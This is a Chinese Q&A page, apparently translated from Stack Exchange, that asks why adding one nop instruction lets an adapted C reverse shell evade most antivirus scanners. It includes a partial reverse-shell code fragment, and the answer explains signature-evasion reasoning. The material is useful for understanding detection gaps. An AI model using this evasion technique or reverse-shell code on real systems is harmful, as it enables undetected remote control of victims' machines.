为何添加单条nop指令即可让Windows反向Shell payload绕过多数杀毒软件检测
我近期研究了一份C语言编写的Windows反向Shell,基于其改编得到了自用的反向Shell payload。
初始运行该Shell程序时被系统拦截,我判断是Windows Defender的特征码扫描导致的问题,于是我添加了单条nop指令作为绕过方案,代码片段如下:
#define nop __asm _emit 0x90 ... ... ... memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)clientSocket; nop // Avoid AV signatures? CreateProcessA(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo); WaitForSingleObject(pinfo.hProcess, INFINITE); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); closesocket(clientSocket); WSACleanup();
调整后反向Shell成功连接到127.0.0.1:666,对应运行截图已验证功能正常。
疑问
这类反向Shell payload的实现技术已经存在至少20年,为什么多数现代杀毒产品无法将其标记为潜在危险代码?例如公开病毒检测平台的检测结果显示,仅11/67的安全厂商将该文件标记为恶意。
解答
出现这种情况核心是杀毒软件的检测逻辑需要在检出率和误杀率之间做平衡,具体可以分为几个层面的原因:
- 特征码扫描的固有缺陷:传统特征码匹配机制依赖已经入库的恶意样本的固定字节序列,只要对原公开的payload做非常小的改动,比如你添加的单字节nop指令、调整函数调用顺序、修改常量字符串的存储方式等,都会破坏原有已入库的特征值,只要你的改后版本没有被杀毒厂商收录到特征库,就不会被静态扫描命中。
- 合法操作与恶意操作的边界模糊:你代码中用到的
CreateProcessA、套接字操作、标准输入输出重定向等,全都是Windows平台下的合法系统调用,大量正常的办公软件、运维工具都会用到类似逻辑。如果杀毒厂商只要检测到这几个API组合就报毒,会产生极高的误杀概率,严重影响正常用户的使用,因此厂商不会设置如此严格的静态检测规则。 - 动态检测的滞后性:目前主流杀毒软件的行为检测、启发式检测大多是在程序运行后触发了可疑行为才会拦截,比如向外连接陌生IP、执行敏感系统命令、修改系统配置等,你的反向Shell在静态扫描阶段没有明显的恶意特征,只要还没实际运行触发危险行为,就很难被提前判定为恶意。另外为了降低对系统资源的占用,多数杀毒软件的静态启发检测阈值设置得很高,只有特征非常明确的恶意代码才会被直接拦截。
- 攻防的天然不对称性:免杀修改的成本极低,只需要对公开的payload做几分钟的调整就能绕开绝大多数基于已知特征的检测,而杀毒厂商需要收集到足够多的恶意变体、验证规则不会误杀正常软件之后才会更新特征库,天然存在时间差,很难覆盖所有的新变种。
内容的提问来源于stack exchange,提问作者vengy
相关产品推荐
相关产品推荐

